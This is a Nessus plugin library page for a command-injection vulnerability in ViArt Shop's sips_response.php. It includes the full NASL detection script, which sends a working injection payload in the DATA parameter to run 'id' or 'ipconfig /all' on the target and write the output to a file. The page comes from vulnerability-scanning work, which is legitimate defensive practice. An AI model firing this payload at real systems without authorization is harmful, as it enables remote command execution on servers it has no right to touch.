ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution - Nessus

High Plugin ID: 64293

This page contains detailed information about the ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 64293
Name: ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
Filename: viart_shop_sips_response_code_exec.nasl
Vulnerability Published: 2012-09-25
This Plugin Published: 2013-01-30
Last Modification Time: 2022-04-11
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, viart_shop_detect.nasl
Required KB Items [?]: www/PHP, www/viart_shop
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: 2012-09-25
Patch Published: 2012-09-25
CVE [?]: N/A
CPE [?]: cpe:/a:viart:viart_shop

Synopsis

The remote web server hosts an application that allows arbitrary command execution.

Description

The version of the ViArt Shop installed on the remote host contains a flaw that could allow a remote attacker to execute arbitrary commands. Input passed to the 'DATA' parameter in 'sips_response.php' is not properly sanitized before being used to process payment data. An attacker could leverage this vulnerability to execute arbitrary commands on the remote host.

Solution

Upgrade to version 4.1 or later, or apply the referenced patch.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution vulnerability:

Exploit-DB: exploits/php/webapps/21521.txt
[EDB-21521: ViArt Shop Enterprise 4.1 - Arbitrary Command Execution]
D2 Elliot: viart_shop_4.1_rce_linux.html
[ViArt Shop 4.1 RCE (Linux)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	5.9 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	5.9 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	7.9 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.9 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(64293);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(55674);
  script_xref(name:"EDB-ID", value:"21521");

  script_name(english:"ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts an application that allows arbitrary
command execution.");
  script_set_attribute(attribute:"description", value:
"The version of the ViArt Shop installed on the remote host contains a
flaw that could allow a remote attacker to execute arbitrary commands. 
Input passed to the 'DATA' parameter in 'sips_response.php' is not
properly sanitized before being used to process payment data.  An
attacker could leverage this vulnerability to execute arbitrary commands
on the remote host.");
  script_set_attribute(attribute:"see_also", value:"https://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5109.php");
  # https://www.viart.com/patch_for_arbitrary_command_execution_vulnerability.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bf05a971");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 4.1 or later, or apply the referenced patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"ViArt Shop 4.1 RCE (Linux)");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/30");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:viart:viart_shop");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("viart_shop_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/viart_shop", "www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(
  appname      : "viart_shop",
  port         : port,
  exit_on_fail : TRUE
);
dir = install["dir"];
install_url = build_url(qs:dir+'/', port:port);
vuln = FALSE;

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

token = (SCRIPT_NAME - ".nasl") + "-" + unixtime() + ".txt";

foreach cmd (cmds)
{
  if (cmd == 'ipconfig /all') payload = "  ||" + cmd + '> ' + token +
    "&& dir >>" + token + "||";
  else payload = " echo+`" + cmd + "`+`pwd`>" + token + "||";

  payload = urlencode(
    str      : payload,
    unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                 "56789_.!~'-+$`"
  );

  # Send POST request to upload the PHP file
  res = http_send_recv3(
    port         : port,
    method       : "POST",
    item         : dir + '/payments/sips_response.php',
    data         : 'DATA=' + payload,
    add_headers  : make_array("Content-Type",
      "application/x-www-form-urlencoded"),
    exit_on_fail : TRUE
  );

  upload = http_last_sent_request();

  # Test the uploaded file
  check_url = '/payments/' + token;
  res2 = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : dir + check_url,
    exit_on_fail : TRUE
  );

  body = res2[2];
  if (egrep(pattern:cmd_pats[cmd], string:body))
  {
    # Format our reporting output
    if (cmd == 'id')
    {
      path = strstr(body, "/");
      output = body - path;
      path = chomp(path) + "/" + token;
      vuln = TRUE;
      break;
    }
    else
    {
      get_path = strstr(body, "Volume in drive");
      get_dir = egrep(pattern:"Directory of (.+)", string:get_path);
      path = chomp((get_dir - " Directory of ")) + '\\' + token;
      output = strstr(body, "Windows IP") - get_path;
      vuln = TRUE;
      break;
    }
  }
}

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, "ViArt Shop", install_url);

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\nNessus was able to verify the issue exists using the following request :' +
    '\n' +
    '\n' + build_url(qs:dir+check_url, port:port) +
    '\n' +
    '\nNote: This file has not been removed by Nessus and will need to be' +
    '\nmanually deleted (' + path + ').' +
    '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\nThis file was created using the following request :' +
      '\n' +
      '\n' + snip +
      '\n' + upload +
      '\n' + snip +
      '\n' +
      '\n' + 'The file uploaded by Nessus executed the command : "'+ cmd +'"'+
      '\nwhich produced the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/viart_shop_sips_response_code_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\viart_shop_sips_response_code_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/viart_shop_sips_response_code_exec.nasl

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How to Run

Here is how to run the ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution plugin ID 64293.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state viart_shop_sips_response_code_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

55674

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file viart_shop_sips_response_code_exec.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

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ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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